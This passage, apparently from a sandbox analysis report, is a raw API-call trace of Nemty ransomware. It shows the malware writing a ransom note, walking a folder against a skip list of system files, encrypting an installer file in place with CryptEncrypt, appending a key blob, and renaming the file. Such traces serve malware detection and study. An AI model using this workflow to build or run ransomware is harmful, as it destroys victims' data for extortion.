Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0046.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0046.819] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.819] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0046.820] CloseHandle (hObject=0x3c4) returned 1 [0046.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0046.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0046.821] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf9b0b50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf9b0b50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0046.821] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.821] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf9b0b50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf9b0b50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0046.821] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.821] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.821] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="..") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="...") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="windows") returned -1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="rsa") returned -1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="NTDETECT.COM") returned -1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="ntldr") returned -1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="MSDOS.SYS") returned -1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="IO.SYS") returned -1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="boot.ini") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="boot.ini") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="ntuser.dat") returned -1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="desktop.ini") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="CONFIG.SYS") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="RECYCLER") returned -1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0046.821] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="bootmgr") returned 1 [0046.822] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="programdata") returned -1 [0046.822] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="appdata") returned 1 [0046.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelLR.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelLR.cab", lpUsedDefaultChar=0x0) returned 11 [0046.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelLR.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelLR.cab", lpUsedDefaultChar=0x0) returned 11 [0046.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelLR.cab", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelLR.cab", lpUsedDefaultChar=0x0) returned 11 [0046.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelLR.cab", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelLR.cab", lpUsedDefaultChar=0x0) returned 11 [0046.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0046.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0046.822] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".") returned 1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="..") returned 1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="...") returned 1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="windows") returned -1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="rsa") returned -1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="NTDETECT.COM") returned -1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="ntldr") returned -1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="MSDOS.SYS") returned -1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="IO.SYS") returned -1 [0046.822] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="boot.ini") returned 1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="boot.ini") returned 1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="ntuser.dat") returned -1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="desktop.ini") returned 1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="CONFIG.SYS") returned 1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="RECYCLER") returned -1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="bootmgr") returned 1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="programdata") returned -1 [0046.823] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="appdata") returned 1 [0046.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.msi", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelMUI.msi", lpUsedDefaultChar=0x0) returned 12 [0046.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.msi", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelMUI.msi", lpUsedDefaultChar=0x0) returned 12 [0046.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.msi", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelMUI.msi", lpUsedDefaultChar=0x0) returned 12 [0046.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.msi", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelMUI.msi", lpUsedDefaultChar=0x0) returned 12 [0046.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0046.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0046.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0046.823] Sleep (dwMilliseconds=0x5) [0046.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcf9d6cb0, dwHighDateTime=0x1d561e7)) [0046.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcf9d6cb0, dwHighDateTime=0x1d561e7)) [0046.829] GetLastError () returned 0xb7 [0046.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.829] GetLastError () returned 0xb7 [0046.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0046.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0046.829] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0046.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0046.830] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="edFxO+QEegXWGWAo4Cze7d+4G3SeE238Oh0aURKSgaCUybS/Op6g3evon6C7Lqtw\r\n5mTGXDOU7ThzEWcK4Q+EaVGwuftSV8ytoKF/vbz4j93HwehD3OcpH9xQpsYGAzA/\r\n1lSpo37fbgT4OD0i5tgzY4ZLN0AZYDGhpWitACIG6XK13TCD0pIWSNw6hoYUbpl7\r\n0ceQNTNcUbWgkxuPJT6obCOyzM5GvRvoBuVRb4uV2uKTWnqWqS6e201adtSeeMbo\r\nYm9rJn/3muMVTCSmZYh2SmrFibpQ8f2gvr2prZQrMKHeLruXMZ6w/yauvQ/riGxc\r\nZHZGiUD0qiZRNZTZXEp3yA==\r\n", pcchString=0x653ef9c) returned 1 [0046.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0046.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0046.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0046.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0046.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0046.831] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2506240) returned 1 [0046.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0046.831] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.831] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0046.840] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.840] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0046.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.841] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2506240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x263e00 [0046.841] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0046.843] CloseHandle (hObject=0x3c8) returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0046.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0046.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0046.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0046.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.898] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi._nemty_kgobjgd_")) returned 1 [0046.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0046.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0046.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0046.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0046.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0046.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0046.899] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".") returned 1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="..") returned 1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="...") returned 1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="windows") returned -1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="rsa") returned -1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="NTDETECT.COM") returned -1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="ntldr") returned -1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="MSDOS.SYS") returned -1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="IO.SYS") returned -1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="boot.ini") returned 1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="boot.ini") returned 1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0046.899] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="ntuser.dat") returned -1 [0046.900] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="desktop.ini") returned 1 [0046.900] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="CONFIG.SYS") returned 1 [0046.900] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="RECYCLER") returned -1 [0046.900] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0046.900] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="bootmgr") returned 1 [0046.900] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="programdata") returned -1 [0046.900] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="appdata") returned 1 [0046.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelMUI.xml", lpUsedDefaultChar=0x0) returned 12 [0046.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelMUI.xml", lpUsedDefaultChar=0x0) returned 12 [0046.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 